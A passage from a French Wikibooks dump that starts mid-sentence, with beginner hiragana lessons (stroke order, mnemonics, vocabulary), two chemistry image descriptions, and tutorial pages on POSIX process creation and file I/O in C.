maniement des formulaires sous [[w:fr:Microsoft Access|Microsoft Access]]. Japonais:Hiragana 3267 42567 2006-05-16T22:36:39Z Abrahami 1536 {{Modèle:Japonais}} [[Japonais:Table des matières|^ Japonais ^]] | Introduction | [[Leçon Hiragana 1|Leçon Hiragana1 >>]] = les Hiragana = (en 9 leçons) [[Leçon Hiragana 1]] : On commence les Hiragana.<br /> [[Leçon Hiragana 2]] : On continue les Hiragana.<br /> [[Leçon Hiragana 3]] : On termine les Hiragana.<br /> [[Test Hiragana]] : Une poésie qui vous permettra de savoir si vous connaissez tous vos hiraganas.<br /> Heu Vous croyez avoir terminé .. et non en fait je ne vous ai pas tout expliqué.. [[Leçon Hiragana 4]] : "les deux petits traits(1/2).<br /> [[Leçon Hiragana 5]] : "les deux petits traits(2/2) le retour.<br /> [[Leçon Hiragana 6]] : les doubles consonnes.<br /> [[Leçon Hiragana 7]] : les voyelles longues.<br /> [[Leçon Hiragana 8]] : les semi-voyelles(1/2).<br /> [[Leçon Hiragana 9]] : les semi-voyelles(2/2).<br /> = Quelques liens = # en Francais ##http://home.worldcom.ch/~mrufenac/nihongo/testhiragana.html petit test en Javascript ##[http://www.cours-japonais.fr/content/view/13/1/ cours-japonais.fr] un site avec une partie apprentissage des Hiragana, Katakanas (animation etc ..) #en anglais ## JKanatest http://www.frezell.org/japanese/ petit programme en java pour tester ses hiragana et Katakana à noter que l'auteur propose des feuilles d'exercices assez unique pour s'entrainer à l'écriture http://www.frezell.org/japanese/Hiragana_Chart.pdf ## http://www.kanjistep.com/en/online/hiraganasteps : apprentissage avec animations ## Un très chouette jeux qui reprend le principe des RPG NES avec un graphisme assez vieillot. On se bat contre des "Slimes" qui portent le nom de caractère japonais. C'est un Shareware mais la version téléchargable est complète (pour windows, linux et Mac) http://lrnj.com/ ## Il existe aussi une version avec Sonic, c'est un freeware et ce n'est que pour windows DirectX9 oblige http://chinaland.cjb.net/ ## MLC Meguro Language Center propose enormement de documentation, notamment un Hiragana et Katakana Worksheet (27 pages) cela peut être une bonne idée de se l'imprimer http://www.mlcjapanese.co.jp/Download.htm [[Catégorie:Japonais]] Leçon Hiragana 1 3269 43856 2006-06-04T16:04:24Z Meithal 774 /* さ(Sa) し(Shi) す(Su) せ(Se) そ(So) */ {{Modèle:Japonais}} [[Japonais:Hiragana|<< Introduction]]|[[Japonais:Table des matières|^ Japonais ^]]|[[Leçon Hiragana 2|Leçon 2 >>]] = Lecon n°1 : comment est organisé le syllabaire Hiragana ? = {| border="1" cellspacing="0" cellpadding="6" style="background:#FFFFE0;" style="text-align: center;" ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o |- | &nbsp; | <big>あ</big> | <big>い</big> | <big>う</big> | <big>え</big> | <big>お</big> |- ! k | <big>か</big> | <big>き</big> | <big>く</big> | <big>け</big> | <big>こ</big> |- ! s | <big>さ</big> | <big>し</big> | <big>す</big> | <big>せ</big> | <big>そ</big> |} == Prononciation == * Le ''a'' se prononce comme le ''a'' français ; * le ''i'' se prononce comme le ''i'' français ; * le ''u'' c’est la seule différence, se prononce ''ou'' comme dans « houx » ; * le ''e'' se prononce é (e accent aigu) comme dans « karaté » ; * le ''o'' se prononce comme le ''o'' français. Retenez bien l’ordre, très utile pour les classements "alphabétiques" et l'utilisation des claviers.<br /> Pour le retenir, je vous propose cette phrase qui vaut que ce quelle vaut :<br /> ('''Ka''')r ('''Ki''')Ki ne ('''Ku''')che ('''Ke''') avec son ('''Ko''')chon. <br /> ''Car Kiki ne couche que avec son cochon.''' Hop, '''Ka''', '''Ki''', '''Ku''','''Ke''' ,'''Ko''' : on mémorise, et on passe à la ligne suivante, elle vient moins facilement : '''sa''','''shi''','''su''','''se''','''so'''. La [[Leçon Hiragana 2|prochaine]] est classique et sera '''na''', '''ni''','''nu''','''ne''', '''no''', etc… À présent, voici comment s’écrivent les voyelles == あ(A) い(I) う(U) え(E) お(O) == [[image:あ_教科書体.png|100 px|left|あ, A]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_A.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">a</big> comme '''A'''pple |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Apple''' - Le signe ressemble à une pomme. Il faut d'abord tracer les feuilles sur le haut de la tige. Tracez ensuite la tige de haut en bas. Vous finissez par le fruit. |} [[Image:い_教科書体.png|100 px|left|い, I]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_I.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">i</big> comme '''i'''dentique |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''I'''dentique : les deux traits se ressemblent. Une autre idée serait Rugb'''y''' : le trait gauche ressemble à un pied et le trait droit à un ballon, il tente de transformer un essai.. |} [[Image:う_教科書体.png|100 px|left|う, u]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana U.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">u</big> comme c'est '''où''' ? |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''U''' comme '''U''', ça ressemble à un U qui aurait mal tourné. |} [[Image:え_教科書体.png|100 px|left|え, E]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana E.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">e</big> comme '''E'''xit |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''E'''xit, le symbole ressemble vaguement à une flèche dont un bout serait tombé. Imaginez une flèche en scotch, le scotch n’est pas solide, d’où la chute d’une partie. |} [[Image:お_教科書体.png|100 px|left|お, O]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana O.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">O</big> comme « '''Oh''' ! une vache ! » |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Oh''' ! une vache ! Les deux petits traits font les yeux et la boucle forme le museau. C’est un peu dur à voir mais moi, c’est comme ça que je le retiens. |} Et de 5 caractères ! == か(Ka) き(Ki) く(Ku) け(Ke) こ(Ko) == [[Image:か_教科書体.png|100 px|left|か, KA]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana KA.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ka</big> Comme '''Ka'''raté |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Ka'''raté - imaginez un karatéka qui donne un coup de genou dans une planche de bois (le petit trait). |} [[Image:き_教科書体.png|100 px|left|き, KI]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana KI.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ki</big> Comme '''Key''' |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Key''' - ça ressemble à une clé. |} [[Image:く_教科書体.png|100 px|left|く, KU]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana KU.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ku</big> comme '''Cou'''cou |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Cou'''cou - cela fait vaguement penser à un bec. |} [[Image:け_教科書体.png|100 px|left|け, KE]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana KE.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ke</big> comme Saké |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | Sa'''Ke''' - c'est un baril de saké !! |} [[Image:こ_教科書体.png|100 px|left|こ, KO]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana KO.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ko</big> comme '''co'''pie, le haut est l’exacte copie du bas. |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Co'''pie - le haut est l’exacte copie du bas. |} Les ka sont faits. == さ(Sa) し(Shi) す(Su) せ(Se) そ(So) == [[Image:さ_教科書体.png|100 px|left|さ, SA]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana SA.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Sa</big> comme '''sa'''laud !! |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | ''Sa'''laud !! - On vient de vous tirer votre vélo et de vous insultez copieusement, d’où la forme de visage, yeux plissés, retenez bien le sens, car il existe dans l’autre sens. |} [[Image:し_教科書体.png|100 px|left|し, SHI]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana SI.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Shi</big> /!\ Attention, il se prononce shi, comme su''shi'' ou ''chi''cane et non ''si''. |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | Shi comme '''shi'''cane. Le symbole a la forme d'une chicane vu par dessus. |} [[Image:す_教科書体.png|100 px|left|す, SU]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana SU.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Su</big> comme '''Su'''icide |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Su''' '''Su'''icide, bon c’est de l’humour noir, il y a la poutre et la boucle pour symboliser la corde… |} [[Image:せ_教科書体.png|100 px|left|せ, SE]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana SE.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Se</big> comme '''s’é'''taler. |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: |'''S’é'''taler - Imaginez que vous courriez et que le pied (la barre courbée a droite) se prend sur une barrière (le reste...) |} [[Image:そ_教科書体.png|100 px|left|そ, SO]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Hiragana SO.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">So</big> comme '''so'''lfège |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: |'''So'''lfège - cela ressemble vaguement à un symbole musical (une clé de sol qui aurait rencontré une clé de fa). Une autre astuce le haut de la lettre fait un z comme... sorro |} = Vocabulaire Illustré = {| border="1" | [[Image:NautilusCutawayLogarithmicSpiral.jpg|thumb|150px|<center><big>かい(貝)</big><br />coquillage</center>]] ||[[Image:Black_and_white_cow_feeding.jpg|thumb|150 px|<center><big>うし(牛)</big><br />vache</center>]]||[[Image:UenoStation1344.jpg|thumb|150 px|<center><big>えき(駅)</big><br />gare</center>]]||[[Image:Watermelon seedless.jpg|thumb|150 px|<center><big>すいか(スイカ)</big><br />pastèque</center>]] |} <table border="1"> <tr><td bgcolor="#FF0000">&nbsp;</td><td><big>赤い</big></td><td><big>あかい</big></td><td>akai</td></td><td>rouge</td></tr> </table> * あし pied * しお sel * かさ parapluie * くし peigne * いけ mare * ここ ici * そこ là-bas * あせ transpiration == Vocabulaire en plus == * あう : rencontrer * え : Image * あおい : Bleu * さか : pente * あき: automne * しかく : carré * さけ : sake * いす : chaise * せかい : monde * きそく : régulation * うそ : mensonge == Vous voulez vous tester ? == Ashi [ | ] Kasa [ | ] Suika [ | | ] Uso [ | ] Eki [ | ] Soko [ | ] sekai [ | | ] kushi [ | | ] Koko [ | ] Kisoku[ | | ] kai [ | ] Ase [ | ] Isu [ | ] Shikaku [ | | ] [[Catégorie:Hiragana (Japonais)]] Leçon Hiragana 2 3271 43499 2006-05-30T18:05:47Z 82.66.56.148 /* な(Na) に(Ni) ぬ(Nu) ね(Ne) の(No) */ [[Leçon Hiragana 1|<< Leçon 1]]|[[Japonais:Table des matières|^ Japonais ^]]|[[Leçon Hiragana 3|Leçon 3 >>]] {{En travaux}} = Leçon n°2 : La suite de la continuité = {| border="1" cellspacing="0" cellpadding="6" style="background:#FFFFE0;" style="text-align: center;" ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o |- | &nbsp; | <big>あ</big> | <big>い</big> | <big>う</big> | <big>え</big> | <big>お</big> |- ! k | <big>か</big> | <big>き</big> | <big>く</big> | <big>け</big> | <big>こ</big> |- ! s | <big>さ</big> | <big>し</big> | <big>す</big> | <big>せ</big> | <big>そ</big> |- ! T | <big>た<big> | <big>ち<big> | <big>つ<big> | <big>て<big> | <big>と<big> |- ! N | <big>な<big> | <big>に<big> | <big>ぬ<big> | <big>ね<big> | <big>の<big> |- ! H | <big>は<big> | <big>ひ<big> | <big>ふ<big> | <big>へ<big> | <big>ほ<big> |} Résumé de l'épisode précédent : Vous avez terminé la lecon 1, Vous passez à la leçon 2. == た(Ta) ち(chi) つ(tsu) て(Te) と(To) == [[Image:た_教科書体.png|100 px|left|た, TA]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_TA.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ta</big> Comme é'''ta'''gère |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | é'''ta'''gère : la croix c’est vous et vous tentez de ranger les 2 étagères à votre gauche .. |} [[Image:ち_教科書体.png|100 px|left|ち, CHI]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_tchi.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Chi</big> comme '''CHEAP''' |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | remarquerez qu'il s'écrit comme '''Sa'''(さ) mais dans l'autre sens. Mais il existe un super moyen mnémotechnique , il ressemble à 5 et 5 euros c'est pas cher .. d'ou '''Cheap''' |} [[Image:つ_教科書体.png|100 px|left|つ, TSU]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_TU.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Tsu</big> comme '''Tsu'''nami |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Tsu'''nami. cela ressemble à une vague géante, Si tout les caractères étaient aussi simple |} [[Image:て_教科書体.png|100 px|left|て, TE]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_TE.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Te</big> comme '''T''' |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Te''' ben cela ressemble à un '''T''' d’où '''Te''' a bien retenir pour plus tard celui la .. si vous ètes fan de grec cela ressemble au Thau .. mais ca se prononce pas pareil .. vous n’auriez pas dut faire de grec cela bloque maintenant vos études de japonais.. |} [[Image:と_教科書体.png|100 px|left|と, TO]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_TO.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">To</big> comme '''tau'''reau |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''To''' bon celui la ne ressemble pas au thau grec , mais les deux cornes me font penser à un '''tau'''reau .. |} Continuons .. On passe au Na .. == な(Na) に(Ni) ぬ(Nu) ね(Ne) の(No) == [[Image:な_教科書体.png|100 px|left|な, NA]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_NA.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Na</big> comme Ca'''na'''rd |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | Vous êtes la croix et lancez un bout de pain (le petit trait) à un ca'''na'''rd. |} [[Image:に_教科書体.png|100 px|left|に, NI]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_NI.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ni</big> comme Knee.. |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | |} [[Image:ぬ_教科書体.png|100 px|left|ぬ, NU]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_NU.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Nu</big> comme '''nue''' comme un ver |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | |} [[Image:ね_教科書体.png|100 px|left|に, NE]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_NE.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ne</big> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | |} [[Image:の_教科書体.png|100 px|left|の, NO]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_NO.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">No</big> comme '''NO'''N |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: |'''NO'''N - C'est un sens interdit.. |} == は(Ha) ひ(Hi) ふ(Fu) へ(He) ほ(Ho) == Maintenant les Ha Hi Fu He Ho , pour la prononciation tous les H sont toujours expiré [[Image:は_教科書体.png|100 px|left|は, HA]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_HA.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ha</big> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | |} [[Image:ひ_教科書体.png|100 px|left|ひ, HI]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_HI.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Hい</big> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | ''Hi''' je vais spoiler un peu pour plus tard, mais si rajoute des guillemets sur le hiragana び il devient "Bi" .. Bon j'ai besoin de vous faire un dessin pour mon moyen mnémotechnique ? |} [[Image:ふ_教科書体.png|100 px|left|ふ, FU]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_HU.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Fu</big> Comme le Mont '''Fu'''ji |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | le Mont '''Fu'''ji , cela ressemble à la célèbre montagne .. remarquez que il se prononce Fu .. un mélange en entre '''Oucht ca fait mal''' et '''Fou''' |} [[Image:へ_教科書体.png|100 px|left|へ, HE]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_HE.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">He</big>Comme Boom'''hé'''rang |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | Boom'''hé'''rang : bon ok l'orthographe ce n'est pas cela , ça mais cela ressemble non ? |} [[Image:ほ_教科書体.png|100 px|left|ほ, HO]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_HO.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ho</big> Comme '''Ho'''t |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Hot''' - il fait chaud , vous regardez le thermomètre à gauche.. |} = Vocabulaire Illustré = Normalement les hiraganas sont accompagné par un dessin たいこ tambour うち : maison くつ :chaussure て : main いと: pelote さかな : poisson かた : crabe * [[Image:Hachiko1233.jpg|200 px|Hachiko, the faithful dog, Shibuya Station, Tokyo]]いぬ : chien * [[Image:Manekineko1003.jpg|200 px|Manekineko, Tokyo, Japan]]ねこ : chat * つの : cerf * [[Image:Nijubashi.jpg|200 px|Nijubashi, the Double Bridge, entrance to Edo Castle]]はし : pont * [[Image:Solstice fire Montana.jpg|200 px|fire]]ひ : feu ふえ : flute へい : mur ほし : etoile = Vocabulaire en plus = あした : Demain くち : Bouche きせつ : Saison ちかてつ : Métro おととい : avant-hier なつ : été くに : Pays おかね : argent はた : drapeau ふね : navire はな : Fleur ほね : Os つくえ : bureau == Vous voulez vous tester ? == Taiko [ | | ] Kuchi [ | ] Sakana [ | | ] chikatetsu [ | | | ] Ototoi [ | | | ] Kani [ | ] inu [ | ] tsuno [ | ]natsu [ | ]fune [ | ] hei [ | ] hoshi [ | ] kutsu [ | ]Okane [ | | ] [[Catégorie:Hiragana (Japonais)]] Image:Polyether.GIF 3273 14797 2005-04-20T11:52:02Z Angely 257 Synthèse d'un polyéther {{GFDL}} Image:Polyether meca.GIF 3275 14799 2005-04-20T12:22:43Z Angely 257 Mécanisme de réaction de préparation d'un polyéther {{GFDL}} Mécanisme de réaction de préparation d'un polyéther {{GFDL}} Programmation POSIX:Processus 3276 14800 2005-04-27T07:19:46Z Guillaumito 46 /* Recouvrement */ ajouts {{Programmation POSIX}} == Création == <pre> pid_t fork(void); </pre> La fonction ''fork'' créé un processus, fils du processus courant et ne différant de son père que par son pid. En cas de succès, la fonction renvoie 0 au processus fils et le pid du processus fils au processus père. En cas d'échec, renvoie -1 et modifie la variable <code>errno</code>. === Exemple === <pre> #include <sys/types.h> #include <unistd.h> int main(int argc, char **argv) { pid_t pid; pid = fork(); switch(pid) { case -1: /* cas d'erreur */ perror("fork"); break; case 0: /* code pour le processus fils */ printf("nooooon\n"); break; default: /* code pour le processus père */ printf("Je suis ton père, %d\n", pid); } return 0; } </pre> == Terminaison == <pre> #include <sys/types.h> #include <sys/wait.h> </pre> Après avoir créé un processus fils, le père '''doit''' attendre la mort de son fils, sinon ce processus restera dans l'état ''zombi'' jusqu'à la mort de son père. L'attente de la mort d'un processus est effectué soit par ''wait'', soit par ''waitpid'' : <pre> pid_t wait (int * statut); </pre> ''wait'' attend la mort du prochain fils du processus courant. Si ''statut'' est différent de '''NULL''', ''wait'' stocke le statut de ce fils au moment de sa mort. * La macro '''WIFEXITED''' permet de tester si le fils s'est arrêté en effectuant un appel à ''exit'' et dans ce cas la macro '''WEXITSTATUS''' permet de connaitre la valeur passée en paramètre à ''exit''. * La macro '''WIFSIGNALED''' permet de tester si le fils s'est arrêté sur réception d'un signal et la macro '''WTERMSIG''' permet de connaitre le numéro de ce signal. <pre> pid_t waitpid (pid_t pid, int * statut, int options); </pre> ''waitpit'' attend la fin du fils de numéro ''pid''. De même que pour ''wait'', ''waitpid'' stocke le statut de ce fils au moment de sa terminaison. ''waitpid'' permet de plus de spécfifier des ''options'' qui sont représentées par un ou binaire entre les constantes symboliques suivantes : * '''WNOHANG''', ne pas attendre la mort du proccessus ; * '''WUNTRACED''', remplir la variable statut aussi pour les fils bloqués. == Recouvrement == <pre> #include <unistd.h> extern char ** environ; int execl (const char * chemin, const char * arg, ...); int execlp (const char * fichier, const char * arg, ...); int execle (const char * chemin, const char * arg , ..., char * const envp[]); int execv (const char * chemin, char * const argv []); int execvp (const char * fichier, char * const argv []); int execve (const char * chemin, char * const argv [], char * const envp[]); </pre> La famille des fonctions ''exec'' permet de recouvrir le processus courant par l'exécution d'un programme. Les fonctions ''execl'' prennent comme premier argument le nom du programme a exécuter puis la liste de ses arguments terminée par '''NULL'''. Le premier argument d'un programme étant le nom de ce programme, les deux premiers arguments de ''execl'' doivent être les mêmes. Par exemple pour recouvrir un processus par <code>/usr/bin/ls -l</code> : <pre> execl("/usr/bin/ls", "/usr/bin/ls", "-l", NULL); </pre> Les fonctions ''execv'' prennent comme premier argument le nom du programme a exécuter et comme second un tableau contenant les arguments de ce programme, la dernière case du tableau doit contenir '''NULL'''. Les fonctions ''exec'' ne retournent pas lorsque elles réussissent, et renvoient -1 quand elles échouent. Ainsi si du code est exécuté après un appel à une fonction ''exec'', c'est que cet appel a échoué. === Exemple === Ce programme créé un processus fils, puis le recouvre en tentant d'exécuter le premier argument et en luis passant comme arguments le reste de la liste des arguments. <pre> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char ** argv) { int pid; if (argc < 2) { fprintf(stderr, "usage : %s programme [arguments...]\n", argv[0]); exit(EXIT_FAILURE); } pid = fork(); if (pid == 0) { argv++; execvp(argv[0], argv); perror("execlp"); exit(EXIT_FAILURE); } waitpid(pid, NULL, 0); printf("\nMerci de votre confiance en %s\n", argv[1]); return 0; } </pre> Programmation POSIX:Fichiers 3277 14801 2005-04-21T15:03:03Z Guillaumito 46 /* Déplacement */ ajouts {{Programmation POSIX}} Nous allons ici expliquer comment accèder au contenu des fichiers : comment ouvrir et fermer un fichier, lire et écrire dans un fichier, etc. Pour pouvoir manipuler le contenu d'un fichier, il faut utiliser un ''descripteur de fichier ouvert''. Ce descripteur est un simple entier qui sera obtenu en utilisant la fonction d'ouverture de fichier et qui sera ensuite utilisé par toutes les autres fonctions manipulant les fichiers. == Ouverture == <pre> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int open ( const char * chemin_fichier, int options ); int open ( const char * chemin_fichier, int options, mode_t mode ); int creat ( const char * chemin_fichier, mode_t mode ); </pre> L'appel système ''open'' convertit un chemin vers un fichier en descripteur de fichier ouvert. Ce qui revient suivant les ''options'' fournies à créer un nouveau fichier ou à en ouvrir un existant en lecture et/ou en écriture. Les valeurs possibles pour ''options'' sont des ''ou binaire'' entre '''O_RDONLY''', '''O_WRONLY''' ou '''O_RDWR''' et une on plusieurs des constantes symboliques suivantes : * '''O_CREAT''', créé le fichier s'il n'existe pas. Les droits du fichier sont ceux spécifiés dans l'argument ''mode'' ; * '''O_EXCL''', à utiliser en conjonction avec '''O_CREAT''', provoque l'échec de l'appel si le fichier existe déja ; * '''O_TRUNC''', si le fichier existe, est régulier et est ouvert en écriture, le fichier est tronqué à la longueur nulle (il est vidé) ; * '''O_APPEND''', le fichier est ouvert en mode ajout : la tête de lecture est placée à la fin du fichier. (Il existe d'autres ''options'' que nous ne détaillerons pas ici) L'argument ''mode'' défini les droits du fichier lorsque celui ci est créé par l'appel à ''open''. Des constantes symboliques représentant les droits possibles sont définies, il est cependant beaucoup plus simple de les spécifier en utilisant une valeur en octal. L'appel système ''creat'' est équivalent à ''open'' avec les options: '''O_CREAT | O_WRONLY | O_TRUNC'''. == Fermeture == <pre> #include <unistd.h> int close( int fd ); </pre> L'appel système ''close'' ferme le descripteur de fichier ouvert ''fd''. === Exemple ouverture/fermeture === <pre> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> int main(int argc, char ** argv) { /* Entier qui servira à récupérer le descripteur de fichier */ int fd; /* Appel à open, ouverture du fichier en lecture seule */ fd = open("/chemin/vers/mon/fichier", O_RDONLY); if (fd == -1) { /* Quelque chose n'a pas fonctionné comme prévu, nous affichons un message d'erreur et nous quittons le programme. */ perror("open"); exit(EXIT_FAILURE); } /* Nous avons passé le test fd == -1, donc à partir d'ici nous sommes sur que fd est bien un descripteur de fichier */ /* Nous fermons le fichier */ close(fd); } </pre> == Lecture == <pre> #include <sys/types.h> #include <unistd.h> ssize_t read (int fd, void * buffer, size_t nombre); </pre> L'appel système ''read'' lit au plus ''nombre'' octets depuis le descripteur de fichier ''fd'' et les place dans le ''buffer''. En cas d'erreur, ''read'' renvoie -1, sinon le nombre d'octets réellement lus est renvoyé. L'argument ''nombre'' peut être nul auqel cas rien n'est lu et ''read'' renvoie 0, par contre il doit être inférieur à '''SSIZE_MAX'''. '''Remarque :''' Il est beaucoup plus intéressant, au niveau des performances, de lire de grandes quantités de données et de minimiser le nombre d'appels à ''read'' que de lire le fichier ''petits bouts par petits bouts'' (le pire étant de lire le fichier caractère par caractère). == 